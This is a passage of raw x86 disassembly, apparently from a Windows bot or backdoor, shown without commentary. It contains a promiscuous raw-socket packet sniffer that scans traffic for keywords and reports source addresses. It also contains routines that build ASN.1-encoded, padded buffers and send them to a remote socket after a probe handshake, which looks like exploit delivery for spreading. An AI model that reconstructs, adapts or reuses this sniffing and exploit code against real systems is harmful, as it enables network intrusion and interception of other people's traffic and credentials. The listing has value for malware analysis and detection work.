		call	sub_40A5B3
		push	[ebp+var_30]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread


loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43BECC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	ds:dword_436494	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4255B0
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40BAE7
		add	esp, 14h


loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	edi
		call	ds:dword_436500	; closesocket
		push	[ebp+var_30]
		call	sub_415248
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread


loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	ds:dword_436414	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_425568
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402841
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40BAE7
		add	esp, 14h


loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	edi
		call	ds:dword_436500	; closesocket
		push	[ebp+var_30]
		call	sub_415248
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread


loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_424C68


loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_436480	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx


loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	ds:dword_4363A4	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, ds:dword_424C7C[eax*8]
		push	ds:off_424C58[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_425518
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40BAE7
		add	esp, 14h


loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40A5B3
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		push	offset unk_4254D4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40BAE7
		add	esp, 14h


loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_436500	; closesocket
		push	[ebp+var_30]
		call	sub_415248
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4029E9	proc near		; CODE XREF: sub_402C5D+Ep
					; sub_402C5D+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4029F3	proc near		; CODE XREF: sub_402C5D+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_415D2F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_402A25
		push	ebx
		push	0
		push	edi
		call	sub_415500
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_415560
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_402A25:				; CODE XREF: sub_4029F3+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4029F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2D	proc near		; CODE XREF: sub_402B27+18p
					; sub_402BA1+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402A79
		push	edi
		push	0
		push	esi
		call	sub_415500
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_415560
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_415560
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_402A79:				; CODE XREF: sub_402A2D+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_402A2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A82	proc near		; CODE XREF: sub_402B27+5Ep
					; sub_402B27+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402A92
		push	eax
		call	sub_415DE1
		pop	ecx


loc_402A92:				; CODE XREF: sub_402A82+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_402A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A9B	proc near		; CODE XREF: sub_402B27+20p
					; sub_402C02+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_402AC8
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_415D2F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_402ACC


loc_402AC8:				; CODE XREF: sub_402A9B+Dj
		xor	al, al
		jmp	short loc_402B23
; ---------------------------------------------------------------------------


loc_402ACC:				; CODE XREF: sub_402A9B+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_415500
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_402AF1
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_402B0B
; ---------------------------------------------------------------------------


loc_402AF1:				; CODE XREF: sub_402A9B+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_402B0B:				; CODE XREF: sub_402A9B+54j
		push	eax
		call	sub_415560
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415DE1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_402B23:				; CODE XREF: sub_402A9B+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B27	proc near		; CODE XREF: sub_402C5D+89p
					; sub_402C5D+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4325D4
		call	sub_402A2D
		lea	ecx, [ebp+var_8]
		call	sub_402A9B
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415D2F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_402B61
		xor	al, al
		jmp	short loc_402B9D
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_402B27+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415500
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_415560
		add	esp, 18h
		mov	ecx, esi
		call	sub_402A82
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_402A82
		mov	al, 1


loc_402B9D:				; CODE XREF: sub_402B27+38j
		pop	edi
		pop	esi
		leave
		retn
sub_402B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BA1	proc near		; CODE XREF: sub_402BD5+14p
					; sub_402BF2+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_402A2D
		mov	ecx, esi
		call	sub_402A82
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_402BA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BD5	proc near		; CODE XREF: sub_402C5D+F0p
					; sub_402C5D+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_415C80
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_402BA1
		pop	esi
		retn	4
sub_402BD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BF2	proc near		; CODE XREF: sub_402C3E+Bp
					; sub_402C5D+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_402BA1
		retn	8
sub_402BF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C02	proc near		; CODE XREF: sub_402C3E+16p
					; sub_402C5D+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_402A9B
		test	al, al
		jz	short loc_402C3B
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4259A3+1)
		call	sub_402A2D
		mov	ecx, esi
		call	sub_402A82
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_402C3B:				; CODE XREF: sub_402C02+Fj
		pop	esi
		leave
		retn
sub_402C02	endp


; =============== S U B	R O U T	I N E =======================================



sub_402C3E	proc near		; CODE XREF: sub_402C5D+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_402BF2
		test	al, al
		jz	short loc_402C59
		mov	ecx, esi
		call	sub_402C02


loc_402C59:				; CODE XREF: sub_402C3E+12j
		pop	esi
		retn	8
sub_402C3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C5D	proc near		; CODE XREF: sub_40345C+86p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_4029E9
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_402FB1
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_402FB1
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_4029E9
		lea	ecx, [ebp+var_20]
		call	sub_4029E9
		lea	ecx, [ebp+var_50]
		call	sub_4029E9
		lea	ecx, [ebp+var_18]
		call	sub_4029E9
		lea	ecx, [ebp+var_40]
		call	sub_4029E9
		lea	ecx, [ebp+var_38]
		call	sub_4029E9
		lea	ecx, [ebp+var_28]
		call	sub_4029E9
		push	4
		push	offset dword_425644
		lea	ecx, [ebp+var_30]
		call	sub_402BA1
		push	3
		push	offset dword_42564C
		lea	ecx, [ebp+var_30]
		call	sub_402BA1
		lea	ecx, [ebp+var_30]
		call	sub_402B27
		lea	ecx, [ebp+var_30]
		call	sub_402C02
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_402BA1
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_402BA1
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_402BA1
		lea	ecx, [ebp+var_20]
		call	sub_402B27
		push	offset loc_4259CC
		lea	ecx, [ebp+var_50]
		call	sub_402BD5
		lea	ecx, [ebp+var_50]
		call	sub_402B27
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_4029F3
		lea	ecx, [ebp+var_58]
		call	sub_402B27
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_402C3E
		lea	ecx, [ebp+var_58]
		call	sub_402A82
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415500
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_402BD5
		push	4
		push	offset dword_425650
		lea	ecx, [ebp+var_18]
		call	sub_402BA1
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_402BA1
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_402BA1
		lea	ecx, [ebp+var_18]
		call	sub_402B27
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_402BF2
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_402BF2
		lea	ecx, [ebp+var_40]
		call	sub_402C02
		lea	ecx, [ebp+var_18]
		call	sub_402A82
		lea	ecx, [ebp+var_50]
		call	sub_402A82
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_402BF2
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_402BF2
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_402BF2
		lea	ecx, [ebp+var_38]
		call	sub_402C02
		lea	ecx, [ebp+var_20]
		call	sub_402A82
		lea	ecx, [ebp+var_30]
		call	sub_402A82
		lea	ecx, [ebp+var_40]
		call	sub_402A82
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_402BA1
		lea	ecx, [ebp+var_28]
		call	sub_402B27
		push	2
		push	offset dword_4259C0
		lea	ecx, [ebp+var_28]
		call	sub_402BA1
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_402BF2
		lea	ecx, [ebp+var_28]
		call	sub_402C02
		lea	ecx, [ebp+var_38]
		call	sub_402A82
		lea	ecx, [ebp+var_10]
		call	sub_4029E9
		lea	ecx, [ebp+var_8]
		call	sub_4029E9
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_402BF2
		lea	ecx, [ebp+var_10]
		call	sub_402A9B
		lea	ecx, [ebp+var_28]
		call	sub_402A82
		push	offset dword_4259BC
		lea	ecx, [ebp+var_8]
		call	sub_402BD5
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402BF2
		lea	ecx, [ebp+var_8]
		call	sub_402A9B
		lea	ecx, [ebp+var_10]
		call	sub_402A82
		push	offset dword_4259B8
		lea	ecx, [ebp+var_10]
		call	sub_402BD5
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_402BF2
		lea	ecx, [ebp+var_10]
		call	sub_402A9B
		lea	ecx, [ebp+var_8]
		call	sub_402A82
		push	offset dword_4259AC
		lea	ecx, [ebp+var_8]
		call	sub_402BD5
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402BF2
		lea	ecx, [ebp+var_8]
		call	sub_402A9B
		lea	ecx, [ebp+var_10]
		call	sub_402A82
		push	offset dword_4259A8
		lea	ecx, [ebp+var_48]
		call	sub_402BD5
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_402BF2
		lea	ecx, [ebp+var_8]
		call	sub_402A82
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_402FBF
; ---------------------------------------------------------------------------


loc_402FB1:				; CODE XREF: sub_402C5D+1Bj
					; sub_402C5D+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_402FBF:				; CODE XREF: sub_402C5D+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_402C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FC3	proc near		; CODE XREF: sub_403087+A1p
					; sub_403087+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_4221F8	; select
		cmp	eax, edi
		jnz	short loc_40302A
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_420B60	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40302E


loc_40302A:				; CODE XREF: sub_402FC3+54j
		xor	eax, eax
		jmp	short loc_40303E
; ---------------------------------------------------------------------------


loc_40302E:				; CODE XREF: sub_402FC3+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_436480	; recv


loc_40303E:				; CODE XREF: sub_402FC3+69j
		pop	edi
		pop	esi
		leave
		retn
sub_402FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403042	proc near		; CODE XREF: sub_403087+81p
					; sub_403087+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_436464	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		cmp	eax, 4
		jz	short loc_40306C
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40306C:				; CODE XREF: sub_403042+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403042	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403087	proc near		; CODE XREF: sub_403161+48p
					; sub_40345C+177p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4030B0
		xor	al, al
		jmp	loc_40315C
; ---------------------------------------------------------------------------


loc_4030B0:				; CODE XREF: sub_403087+20j
		push	ebx
		push	0
		push	esi
		call	sub_415500
		push	2Fh
		push	offset dword_4256E0
		push	esi
		call	sub_415560
		push	8
		lea	eax, [esi+31h]
		push	offset dword_425710
		push	eax
		mov	[esi+2Fh], di
		call	sub_415560
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_415560
		push	6
		add	ebx, edi
		push	offset dword_4325CC
		push	ebx
		call	sub_415560
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_425658
		push	ebx
		call	sub_403042
		add	esp, 48h
		test	al, al
		jnz	short loc_403118


loc_403114:				; CODE XREF: sub_403087+B5j
		xor	bl, bl
		jmp	short loc_403153
; ---------------------------------------------------------------------------


loc_403118:				; CODE XREF: sub_403087+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402FC3
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403042
		add	esp, 1Ch
		test	al, al
		jz	short loc_403114
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402FC3
		add	esp, 10h
		mov	bl, 1


loc_403153:				; CODE XREF: sub_403087+8Fj
		push	esi
		call	sub_415DE1
		pop	ecx
		mov	al, bl


loc_40315C:				; CODE XREF: sub_403087+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403161	proc near		; CODE XREF: sub_40345C+15Dp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_42571C
		push	[ebp+arg_0]
		call	ds:dword_4221F4	; send
		cmp	eax, 48h
		jnz	short loc_40319C
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_402FC3
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40319C
		cmp	[ebp+var_20], 82h
		jz	short loc_4031A0


loc_40319C:				; CODE XREF: sub_403161+1Bj
					; sub_403161+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_4031A0:				; CODE XREF: sub_403161+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403087
		add	esp, 0Ch
		leave
		retn
sub_403161	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031B3	proc near		; CODE XREF: sub_4031FF+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_422260
		call	sub_415F6C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_422258
		fstp	[esp+10h+var_10]
		call	sub_415E4A
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415F6C
		inc	eax
		leave
		retn
sub_4031B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031FF	proc near		; CODE XREF: sub_4033A1+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_421203
		call	sub_416438
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_403834
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_4031B3
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_403241
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4037AF


loc_403241:				; CODE XREF: sub_4031FF+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40335E
		mov	ebx, [ebp+10h]


loc_403250:				; CODE XREF: sub_4031FF+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40325A
		push	3
		jmp	short loc_40326C
; ---------------------------------------------------------------------------


loc_40325A:				; CODE XREF: sub_4031FF+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_403264
		push	2
		jmp	short loc_40326C
; ---------------------------------------------------------------------------


loc_403264:				; CODE XREF: sub_4031FF+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40326D
		push	1


loc_40326C:				; CODE XREF: sub_4031FF+59j
					; sub_4031FF+63j
		pop	ebx


loc_40326D:				; CODE XREF: sub_4031FF+69j
